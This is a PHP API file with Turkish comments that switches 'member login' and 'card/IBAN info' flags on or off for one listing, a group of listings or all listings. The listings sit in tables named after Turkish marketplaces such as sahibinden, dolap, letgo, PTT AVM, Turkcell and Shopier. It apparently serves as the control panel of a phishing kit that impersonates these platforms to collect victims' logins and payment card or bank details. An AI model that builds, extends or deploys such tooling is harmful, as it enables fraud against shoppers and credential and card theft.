<?php
/**
 * Global Toggle API - Üye Giriş ve Kart Bilgi
 * Tüm ilanlarda toplu güncelleme yapar
 */
session_start();
header('Content-Type: application/json; charset=utf-8');

if (!isset($_SESSION['kul_id'])) {
    echo json_encode(['sonuc' => 'hata', 'mesaj' => 'Oturum geçersiz']);
    exit;
}

require_once 'database/connect.php';

$kul_id = $_SESSION['kul_id'];
$action = $_POST['action'] ?? $_GET['action'] ?? '';

// Tablo listesi
$tables = ['ilan_sahibinden', 'ilan_dolap', 'ilan_letgo', 'ilan_pttavm', 'ilan_turkcell', 'ilan_shopier'];

// ========== GRUP TOGGLE GÜNCELLE ==========
if ($action === 'grup_toggle') {
    $grup_id = $_POST['grup_id'] ?? '';
    $type = $_POST['type'] ?? '';
    $value = $_POST['value'] ?? '';
    
    if (empty($grup_id) || !in_array($type, ['giris', 'kart']) || !in_array($value, ['Evet', 'Hayır'])) {
        echo json_encode(['sonuc' => 'hata', 'mesaj' => 'Geçersiz parametre']);
        exit;
    }
    
    $column = $type === 'giris' ? 'selectgiris' : 'kartibanselect';
    $updated = 0;
    
    // SINGLE_ ile başlıyorsa tek ilan
    if (strpos($grup_id, 'SINGLE_') === 0) {
        $parts = explode('_', $grup_id);
        if (count($parts) >= 3) {
            $table = $parts[1] . '_' . $parts[2]; // ilan_sahibinden gibi
            $id = intval($parts[3] ?? 0);
            if (in_array($table, $tables) && $id > 0) {
                try {
                    $stmt = $db->prepare("UPDATE $table SET $column = ? WHERE id = ? AND ekleyen = ?");
                    $stmt->execute([$value, $id, $kul_id]);
                    $updated = $stmt->rowCount();
                } catch (Exception $e) {}
            }
        }
    } else {
        // Grup ID ile güncelle
        foreach ($tables as $table) {
            try {
                $stmt = $db->prepare("UPDATE $table SET $column = ? WHERE grup_id = ? AND ekleyen = ?");
                $stmt->execute([$value, $grup_id, $kul_id]);
                $updated += $stmt->rowCount();
            } catch (Exception $e) {}
        }
    }
    
    if ($updated > 0) {
        echo json_encode(['sonuc' => 'tamam', 'mesaj' => 'Güncellendi']);
    } else {
        echo json_encode(['sonuc' => 'hata', 'mesaj' => 'Güncellenemedi']);
    }
    exit;
}

// ========== GLOBAL TOGGLE GÜNCELLE ==========
if ($action === 'global_toggle') {
    $type = $_POST['type'] ?? ''; // 'giris' veya 'kart'
    $value = $_POST['value'] ?? ''; // 'Evet' veya 'Hayır'
    
    if (!in_array($type, ['giris', 'kart']) || !in_array($value, ['Evet', 'Hayır'])) {
        echo json_encode(['sonuc' => 'hata', 'mesaj' => 'Geçersiz parametre']);
        exit;
    }
    
    $column = $type === 'giris' ? 'selectgiris' : 'kartibanselect';
    $updated = 0;
    
    foreach ($tables as $table) {
        try {
            $stmt = $db->prepare("UPDATE $table SET $column = ? WHERE ekleyen = ?");
            $stmt->execute([$value, $kul_id]);
            $updated += $stmt->rowCount();
        } catch (Exception $e) {
            // Tablo yoksa devam et
        }
    }
    
    $label = $type === 'giris' ? 'Üye Giriş' : 'Kart Bilgi';
    $status = $value === 'Evet' ? 'Aktif' : 'Pasif';
    
    echo json_encode([
        'sonuc' => 'tamam', 
        'mesaj' => "$label tüm ilanlarda $status yapıldı ($updated ilan güncellendi)"
    ]);
    exit;
}

// ========== TEK İLAN TOGGLE GÜNCELLE ==========
if ($action === 'ilan_toggle') {
    $table = $_POST['table'] ?? '';
    $id = intval($_POST['id'] ?? 0);
    $type = $_POST['type'] ?? ''; // 'giris' veya 'kart'
    $value = $_POST['value'] ?? ''; // 'Evet' veya 'Hayır'
    
    if (!in_array($table, $tables) || $id <= 0) {
        echo json_encode(['sonuc' => 'hata', 'mesaj' => 'Geçersiz tablo veya ID']);
        exit;
    }
    
    if (!in_array($type, ['giris', 'kart']) || !in_array($value, ['Evet', 'Hayır'])) {
        echo json_encode(['sonuc' => 'hata', 'mesaj' => 'Geçersiz parametre']);
        exit;
    }
    
    $column = $type === 'giris' ? 'selectgiris' : 'kartibanselect';
    
    try {
        $stmt = $db->prepare("UPDATE $table SET $column = ? WHERE id = ? AND ekleyen = ?");
        $stmt->execute([$value, $id, $kul_id]);
        
        if ($stmt->rowCount() > 0) {
            echo json_encode(['sonuc' => 'tamam', 'mesaj' => 'Güncellendi']);
        } else {
            echo json_encode(['sonuc' => 'hata', 'mesaj' => 'İlan bulunamadı']);
        }
    } catch (Exception $e) {
        echo json_encode(['sonuc' => 'hata', 'mesaj' => 'Güncelleme hatası']);
    }
    exit;
}

// ========== MEVCUT TOGGLE DURUMLARINI GETİR ==========
if ($action === 'get_status') {
    // İlk ilandan durumu al (hepsi aynı olmalı global için)
    $giris = 'Hayır';
    $kart = 'Hayır';
    
    foreach ($tables as $table) {
        try {
            $stmt = $db->prepare("SELECT selectgiris, kartibanselect FROM $table WHERE ekleyen = ? LIMIT 1");
            $stmt->execute([$kul_id]);
            $row = $stmt->fetch(PDO::FETCH_ASSOC);
            if ($row) {
                $giris = $row['selectgiris'] ?: 'Hayır';
                $kart = $row['kartibanselect'] ?: 'Hayır';
                break;
            }
        } catch (Exception $e) {
            // Devam et
        }
    }
    
    echo json_encode([
        'sonuc' => 'tamam',
        'giris' => $giris,
        'kart' => $kart
    ]);
    exit;
}

echo json_encode(['sonuc' => 'hata', 'mesaj' => 'Geçersiz action']);